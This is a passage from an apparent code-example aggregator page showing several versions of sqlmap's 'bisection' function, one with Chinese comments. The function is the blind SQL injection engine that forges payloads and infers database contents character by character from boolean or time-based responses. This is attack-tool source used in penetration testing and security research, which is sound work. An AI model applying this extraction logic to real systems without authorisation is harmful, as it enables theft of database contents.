                            forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
                            result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                            incrementCounter(kb.technique)

                            if result:
                                return decodeIntToUnicode(retVal)

                        return None

        def etaProgressUpdate(charTime, index):
            if len(progressTime) <= ( (length * 3) / 100 ):
                eta = 0
            else:
                midTime = sum(progressTime) / len(progressTime)
                midTimeWithLatest = (midTime + charTime) / 2
                eta = midTimeWithLatest * (length - index) / conf.threads

            progressTime.append(charTime)
            progress.update(index)
            progress.draw(eta)

        # Go multi-threading (--threads > 1)
        if conf.threads > 1 and isinstance(length, int) and length > 1:
            value = []
            threadData = getCurrentThreadData()

            threadData.shared.value = [ None ] * length
            threadData.shared.index = [ firstChar ]    # As list for python nested function scoping
            threadData.shared.start = firstChar

            try:
                def blindThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        kb.locks.index.acquire()

                        if threadData.shared.index[0] >= length:
                            kb.locks.index.release()

                            return

                        threadData.shared.index[0] += 1
                        curidx = threadData.shared.index[0]
                        kb.locks.index.release()

                        if kb.threadContinue:
                            charStart = time.time()
                            val = getChar(curidx)
                            if val is None:
                                val = INFERENCE_UNKNOWN_CHAR
                        else:
                            break

                        with kb.locks.value:
                            threadData.shared.value[curidx - 1] = val
                            currentValue = list(threadData.shared.value)

                        if kb.threadContinue:
                            if showEta:
                                etaProgressUpdate(time.time() - charStart, threadData.shared.index[0])
                            elif conf.verbose >= 1:
                                startCharIndex = 0
                                endCharIndex = 0

                                for i in xrange(length):
                                    if currentValue[i] is not None:
                                        endCharIndex = max(endCharIndex, i)

                                output = ''

                                if endCharIndex > conf.progressWidth:
                                    startCharIndex = endCharIndex - conf.progressWidth

                                count = threadData.shared.start

                                for i in xrange(startCharIndex, endCharIndex + 1):
                                    output += '_' if currentValue[i] is None else currentValue[i]

                                for i in xrange(length):
                                    count += 1 if currentValue[i] is not None else 0

                                if startCharIndex > 0:
                                    output = '..' + output[2:]

                                if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length-1):
                                    output = output[:-2] + '..'

                                if conf.verbose in (1, 2) and not showEta:
                                    output += '_' * (min(length, conf.progressWidth) - len(output))
                                    status = ' %d/%d (%d%s)' % (count, length, round(100.0*count/length), '%')
                                    output += status if count != length else " "*len(status)

                                    dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))

                runThreads(numThreads, blindThread, startThreadMsg=False)

            except KeyboardInterrupt:
                abortedFlag = True

            finally:
                value = map(lambda _: partialValue[_] if _ < len(partialValue) else threadData.shared.value[_], xrange(length))

            infoMsg = None

            # If we have got one single character not correctly fetched it
            # can mean that the connection to the target url was lost
            if None in value:
                partialValue = "".join(value[:value.index(None)])

                if partialValue:
                    infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue))
            else:
                finalValue = "".join(value)
                infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))

            if conf.verbose in (1, 2) and not showEta and infoMsg:
                dataToStdout(infoMsg)

        # No multi-threading (--threads = 1)
        else:
            index = firstChar

            while True:
                index += 1
                charStart = time.time()

                # Common prediction feature (a.k.a. "good samaritan")
                # NOTE: to be used only when multi-threading is not set for
                # the moment
                if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
                    val = None
                    commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)

                    # If there is one single output in common-outputs, check
                    # it via equal against the query output
                    if commonValue is not None:
                        # One-shot query containing equals commonValue
                        testValue = unescaper.unescape("'%s'" % commonValue) if "'" not in commonValue else unescaper.unescape("%s" % commonValue, quote=False)
                        query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (expressionUnescaped, testValue)))
                        query = agent.suffixQuery(query)
                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            if showEta:
                                etaProgressUpdate(time.time() - charStart, len(commonValue))
                            elif conf.verbose in (1, 2):
                                dataToStdout(filterControlChars(commonValue[index-1:]))

                            finalValue = commonValue

                            break

                    # If there is a common pattern starting with partialValue,
                    # check it via equal against the substring-query output
                    if commonPattern is not None:
                        # Substring-query containing equals commonPattern
                        subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
                        testValue = unescaper.unescape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.unescape("%s" % commonPattern, quote=False)
                        query = agent.prefixQuery(safeStringFormat("AND (%s) = %s", (subquery, testValue)))
                        query = agent.suffixQuery(query)
                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            val = commonPattern[index-1:]
                            index += len(val)-1

                    # Otherwise if there is no commonValue (single match from
                    # txt/common-outputs.txt) and no commonPattern
                    # (common pattern) use the returned common charset only
                    # to retrieve the query output
                    if not val and commonCharset:
                        val = getChar(index, commonCharset, False)

                    # If we had no luck with commonValue and common charset,
                    # use the returned other charset
                    if not val:
                        val = getChar(index, otherCharset, otherCharset == asciiTbl)
                else:
                    val = getChar(index, asciiTbl)

                if val is None or ( lastChar > 0 and index > lastChar ):
                    finalValue = partialValue
                    break

                if kb.data.processChar:
                    val = kb.data.processChar(val)

                partialValue += val

                if showEta:
                    etaProgressUpdate(time.time() - charStart, index)
                elif conf.verbose in (1, 2):
                    dataToStdout(filterControlChars(val))

                if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
                    finalValue = partialValue
                    break

    except KeyboardInterrupt:
        abortedFlag = True
    finally:
        setFormatterPrependFlag(False)

        if finalValue is not None:
            finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue
            hashDBWrite(expression, finalValue)
        elif partialValue:
            hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER, partialValue))

    if conf.verbose in (1, 2) or showEta:
        dataToStdout("\n")

    if ( conf.verbose in ( 1, 2 ) and showEta ) or conf.verbose >= 3:
        infoMsg = "retrieved: %s" % filterControlChars(finalValue)
        logger.info(infoMsg)

    if kb.threadException:
        raise sqlmapThreadException, "something unexpected happened inside the threads"

    if abortedFlag:
        raise KeyboardInterrupt

    _ = finalValue or partialValue
    return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
Exemplo n.º 3
0
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """
    Bisection algorithm that can be used to perform blind SQL injection
    on an affected host
    """

    abortedFlag = False
    showEta = False
    partialValue = u""
    finalValue = None
    retrievedLength = 0
    asciiTbl = getCharset(charsetType)
    threadData = getCurrentThreadData()
    timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal:
        if PARTIAL_HEX_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")

            if retVal and conf.hexConvert:
                partialValue = retVal
                infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
                logger.info(infoMsg)
        elif PARTIAL_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")

            if retVal and not conf.hexConvert:
                partialValue = retVal
                infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
                logger.info(infoMsg)
        else:
            infoMsg = "resumed: %s" % safecharencode(retVal)
            logger.info(infoMsg)

            return 0, retVal

    try:
        # Set kb.partRun in case "common prediction" feature (a.k.a. "good
        # samaritan") is used or the engine is called from the API
        if conf.predictOutput:
            kb.partRun = getPartRun()
        elif hasattr(conf, "api"):
            kb.partRun = getPartRun(alias=False)
        else:
            kb.partRun = None

        if partialValue:
            firstChar = len(partialValue)
        elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
            firstChar = 0
        elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
            firstChar = int(conf.firstChar) - 1
        elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int):
            firstChar = int(firstChar) - 1
        else:
            firstChar = 0

        if "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
            lastChar = 0
        elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())):
            lastChar = int(conf.lastChar)
        elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int):
            lastChar = int(lastChar)
        else:
            lastChar = 0

        if Backend.getDbms():
            _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
            nulledCastedField = agent.nullAndCastField(fieldToCastStr)
            expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
            expressionUnescaped = unescaper.escape(expressionReplaced)
        else:
            expressionUnescaped = unescaper.escape(expression)

        if isinstance(length, basestring) and length.isdigit() or isinstance(length, int):
            length = int(length)
        else:
            length = None

        if length == 0:
            return 0, ""

        if length and (lastChar > 0 or firstChar > 0):
            length = min(length, lastChar or length) - firstChar

        if length and length > MAX_BISECTION_LENGTH:
            length = None

        showEta = conf.eta and isinstance(length, int)
        numThreads = min(conf.threads, length) or 1

        if showEta:
            progress = ProgressBar(maxValue=length)

        if timeBasedCompare and conf.threads > 1 and not conf.forceThreads:
            warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically"
            singleTimeWarnMessage(warnMsg)

        if numThreads > 1:
            if not timeBasedCompare or conf.forceThreads:
                debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else ""))
                logger.debug(debugMsg)
            else:
                numThreads = 1

        if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
            warnMsg = "running in a single-thread mode. Please consider "
            warnMsg += "usage of option '--threads' for faster data retrieval"
            singleTimeWarnMessage(warnMsg)

        if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
            if isinstance(length, int) and conf.threads > 1:
                dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
            else:
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))

        hintlock = threading.Lock()

        def tryHint(idx):
            with hintlock:
                hintValue = kb.hintValue

            if hintValue is not None and len(hintValue) >= idx:
                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
                    posValue = hintValue[idx - 1]
                else:
                    posValue = ord(hintValue[idx - 1])

                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return hintValue[idx - 1]

            with hintlock:
                kb.hintValue = None

            return None

        def validateChar(idx, value):
            """
            Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
            """

            if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
            else:
                # e.g.: ... > '%c' -> ... > ORD(..)
                markingValue = "'%s'" % CHAR_INFERENCE_MARK
                unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)

            result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)

            if result and timeBasedCompare:
                result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
                if not result:
                    warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
                    singleTimeWarnMessage(warnMsg)

            incrementCounter(kb.technique)

            return result

        def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
            """
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(charTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if "'%s'" % CHAR_INFERENCE_MARK in payload:
                for char in ('\n', '\r'):
                    if ord(char) in charTbl:
                        charTbl.remove(ord(char))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minChar = minValue = charTbl[0]
            firstCheck = False
            lastCheck = False
            unexpectedCode = False

            while len(charTbl) != 1:
                position = None

                if charsetType is None:
                    if not firstCheck:
                        try:
                            try:
                                lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
                            except IndexError:
                                lastChar = None
                            if 'a' <= lastChar <= 'z':
                                position = charTbl.index(ord('a') - 1)  # 96
                            elif 'A' <= lastChar <= 'Z':
                                position = charTbl.index(ord('A') - 1)  # 64
                            elif '0' <= lastChar <= '9':
                                position = charTbl.index(ord('0') - 1)  # 47
                        except ValueError:
                            pass
                        finally:
                            firstCheck = True

                    elif not lastCheck and numThreads == 1:  # not usable in multi-threading environment
                        if charTbl[(len(charTbl) >> 1)] < ord(' '):
                            try:
                                # favorize last char check if current value inclines toward 0
                                position = charTbl.index(1)
                            except ValueError:
                                pass
                            finally:
                                lastCheck = True

                if position is None:
                    position = (len(charTbl) >> 1)

                posValue = charTbl[position]
                falsePayload = None

                if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
                    falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
                else:
                    # e.g.: ... > '%c' -> ... > ORD(..)
                    markingValue = "'%s'" % CHAR_INFERENCE_MARK
                    unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue))
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
                    falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)

                if timeBasedCompare:
                    if kb.responseTimeMode:
                        kb.responseTimePayload = falsePayload
                    else:
                        kb.responseTimePayload = None

                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if not timeBasedCompare:
                    unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode)
                    if unexpectedCode:
                        warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
                        singleTimeWarnMessage(warnMsg)

                if result:
                    minValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[position:]
                    else:
                        # xrange() - extended virtual charset used for memory/space optimization
                        charTbl = xrange(charTbl[position], charTbl[-1] + 1)
                else:
                    maxValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[:position]
                    else:
                        charTbl = xrange(charTbl[0], charTbl[position])

                if len(charTbl) == 1:
                    if continuousOrder:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minChar = minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
                                if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    threadData.validationRun = 0
                                    if retried < MAX_REVALIDATION_STEPS:
                                        errMsg = "invalid character detected. retrying.."
                                        logger.error(errMsg)

                                        if timeBasedCompare:
                                            if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
                                                conf.timeSec += 1
                                                warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
                                                logger.warn(warnMsg)

                                            if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                                dbgMsg = "turning off time auto-adjustment mechanism"
                                                logger.debug(dbgMsg)
                                                kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
                                    else:
                                        errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        threadData.validationRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = "turning back on time auto-adjustment mechanism"
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
                    else:
                        if minValue == maxChar or maxValue == minChar:
                            return None

                        for index in xrange(len(originalTbl)):
                            if originalTbl[index] == minValue:
                                break

                        # If we are working with non-continuous elements, both minValue and character after
                        # are possible candidates
                        for retVal in (originalTbl[index], originalTbl[index + 1]):
                            forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
                            result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                            incrementCounter(kb.technique)

                            if result:
                                return decodeIntToUnicode(retVal)

                        return None

        # Go multi-threading (--threads > 1)
        if conf.threads > 1 and isinstance(length, int) and length > 1:
            threadData.shared.value = [None] * length
            threadData.shared.index = [firstChar]    # As list for python nested function scoping
            threadData.shared.start = firstChar

            try:
                def blindThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        kb.locks.index.acquire()

                        if threadData.shared.index[0] - firstChar >= length:
                            kb.locks.index.release()

                            return

                        threadData.shared.index[0] += 1
                        curidx = threadData.shared.index[0]
                        kb.locks.index.release()

                        if kb.threadContinue:
                            charStart = time.time()
                            val = getChar(curidx)
                            if val is None:
                                val = INFERENCE_UNKNOWN_CHAR
                        else:
                            break

                        with kb.locks.value:
                            threadData.shared.value[curidx - 1 - firstChar] = val
                            currentValue = list(threadData.shared.value)

                        if kb.threadContinue:
                            if showEta:
                                progress.progress(time.time() - charStart, threadData.shared.index[0])
                            elif conf.verbose >= 1:
                                startCharIndex = 0
                                endCharIndex = 0

                                for i in xrange(length):
                                    if currentValue[i] is not None:
                                        endCharIndex = max(endCharIndex, i)

                                output = ''

                                if endCharIndex > conf.progressWidth:
                                    startCharIndex = endCharIndex - conf.progressWidth

                                count = threadData.shared.start

                                for i in xrange(startCharIndex, endCharIndex + 1):
                                    output += '_' if currentValue[i] is None else currentValue[i]

                                for i in xrange(length):
                                    count += 1 if currentValue[i] is not None else 0

                                if startCharIndex > 0:
                                    output = '..' + output[2:]

                                if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
                                    output = output[:-2] + '..'

                                if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
                                    _ = count - firstChar
                                    output += '_' * (min(length, conf.progressWidth) - len(output))
                                    status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length))
                                    output += status if _ != length else " " * len(status)

                                    dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output)))

                runThreads(numThreads, blindThread, startThreadMsg=False)

            except KeyboardInterrupt:
                abortedFlag = True

            finally:
                value = [_ for _ in partialValue]
                value.extend(_ for _ in threadData.shared.value)

            infoMsg = None

            # If we have got one single character not correctly fetched it
            # can mean that the connection to the target URL was lost
            if None in value:
                partialValue = "".join(value[:value.index(None)])

                if partialValue:
                    infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue))
            else:
                finalValue = "".join(value)
                infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue))

            if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr(conf, "api"):
                dataToStdout(infoMsg)

        # No multi-threading (--threads = 1)
        else:
            index = firstChar
            threadData.shared.value = ""

            while True:
                index += 1
                charStart = time.time()

                # Common prediction feature (a.k.a. "good samaritan")
                # NOTE: to be used only when multi-threading is not set for
                # the moment
                if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
                    val = None
                    commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)

                    # If there is one single output in common-outputs, check
                    # it via equal against the query output
                    if commonValue is not None:
                        # One-shot query containing equals commonValue
                        testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False)

                        query = kb.injection.data[kb.technique].vector
                        query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            if showEta:
                                progress.progress(time.time() - charStart, len(commonValue))
                            elif conf.verbose in (1, 2) or hasattr(conf, "api"):
                                dataToStdout(filterControlChars(commonValue[index - 1:]))

                            finalValue = commonValue
                            break

                    # If there is a common pattern starting with partialValue,
                    # check it via equal against the substring-query output
                    if commonPattern is not None:
                        # Substring-query containing equals commonPattern
                        subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
                        testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False)

                        query = kb.injection.data[kb.technique].vector
                        query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            val = commonPattern[index - 1:]
                            index += len(val) - 1

                    # Otherwise if there is no commonValue (single match from
                    # txt/common-outputs.txt) and no commonPattern
                    # (common pattern) use the returned common charset only
                    # to retrieve the query output
                    if not val and commonCharset:
                        val = getChar(index, commonCharset, False)

                    # If we had no luck with commonValue and common charset,
                    # use the returned other charset
                    if not val:
                        val = getChar(index, otherCharset, otherCharset == asciiTbl)
                else:
                    val = getChar(index, asciiTbl)

                if val is None:
                    finalValue = partialValue
                    break

                if kb.data.processChar:
                    val = kb.data.processChar(val)

                threadData.shared.value = partialValue = partialValue + val

                if showEta:
                    progress.progress(time.time() - charStart, index)
                elif conf.verbose in (1, 2) or hasattr(conf, "api"):
                    dataToStdout(filterControlChars(val))

                # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
                if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n':
                    finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
                    break

                if (lastChar > 0 and index >= lastChar):
                    finalValue = "" if length == 0 else partialValue
                    finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue
                    partialValue = None
                    break

    except KeyboardInterrupt:
        abortedFlag = True
    finally:
        kb.prependFlag = False
        kb.stickyLevel = None
        retrievedLength = len(finalValue or "")

        if finalValue is not None:
            finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue
            hashDBWrite(expression, finalValue)
        elif partialValue:
            hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue))

    if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"):
        infoMsg = "\r[%s] [INFO] retrieved: %s  %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength)
        dataToStdout(infoMsg)
    else:
        if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"):
            dataToStdout("\n")

        if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
            infoMsg = "retrieved: %s" % filterControlChars(finalValue)
            logger.info(infoMsg)

    if kb.threadException:
        raise SqlmapThreadException("something unexpected happened inside the threads")

    if abortedFlag:
        raise KeyboardInterrupt

    _ = finalValue or partialValue

    return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
Exemplo n.º 4
0
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """
    可用于在受影响的主机上执行盲目SQL注入的二分法
    """

    abortedFlag = False
    showEta = False
    partialValue = u""
    finalValue = None
    retrievedLength = 0
    asciiTbl = getCharset(charsetType)
    threadData = getCurrentThreadData()
    timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal:
        if PARTIAL_HEX_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "")

            if retVal and conf.hexConvert:
                partialValue = retVal
                infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
                logger.info(infoMsg)
        elif PARTIAL_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")

            if retVal and not conf.hexConvert:
                partialValue = retVal
                infoMsg = "resuming partial value: %s" % safecharencode(partialValue)
                logger.info(infoMsg)
        else:
            infoMsg = "resumed: %s" % safecharencode(retVal)
            logger.info(infoMsg)

            return 0, retVal

    try:
        # 如果使用"common prediction"功能(a.k.a.“good samaritan”)或从API调用引擎,请设置kb.partRunSet
        if conf.predictOutput:
            kb.partRun = getPartRun()
        elif conf.api:
            kb.partRun = getPartRun(alias=False)
        else:
            kb.partRun = None

        if partialValue:
            firstChar = len(partialValue)
        elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
            firstChar = 0
        elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
            firstChar = int(conf.firstChar) - 1
            if kb.fileReadMode:
                firstChar *= 2
        elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int):
            firstChar = int(firstChar) - 1
        else:
            firstChar = 0

        if "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
            lastChar = 0
        elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())):
            lastChar = int(conf.lastChar)
        elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int):
            lastChar = int(lastChar)
        else:
            lastChar = 0

        if Backend.getDbms():
            _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
            nulledCastedField = agent.nullAndCastField(fieldToCastStr)
            expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
            expressionUnescaped = unescaper.escape(expressionReplaced)
        else:
            expressionUnescaped = unescaper.escape(expression)

        if isinstance(length, basestring) and length.isdigit() or isinstance(length, int):
            length = int(length)
        else:
            length = None

        if length == 0:
            return 0, ""

        if length and (lastChar > 0 or firstChar > 0):
            length = min(length, lastChar or length) - firstChar
        # 二分算法中输入(入口)的最大 (多线程) 长度
        # MAX_BISECTION_LENGTH = 50 * 1024 * 1024
        if length and length > MAX_BISECTION_LENGTH:
            length = None

        showEta = conf.eta and isinstance(length, int)
        numThreads = min(conf.threads, length) or 1

        if showEta:
            progress = ProgressBar(maxValue=length)

        if timeBasedCompare and conf.threads > 1 and not conf.forceThreads:
            warnMsg = u"多线程在基于时间的数据检索中被认为是不安全的,自动关闭它"
            singleTimeWarnMessage(warnMsg)

        if numThreads > 1:
            if not timeBasedCompare or conf.forceThreads:
                debugMsg = u"启动%d个线程 %s" % (numThreads, ("s" if numThreads > 1 else ""))
                logger.debug(debugMsg)
            else:
                numThreads = 1

        if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
            warnMsg = u"运行在单线程模式,请考虑使用选项“-threads”来更快的检索数据。"
            singleTimeWarnMessage(warnMsg)

        if conf.verbose in (1, 2) and not showEta and not conf.api:
            if isinstance(length, int) and conf.threads > 1:
                dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth)))
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))
            else:
                dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X"))

        hintlock = threading.Lock()

        def tryHint(idx):
            with hintlock:
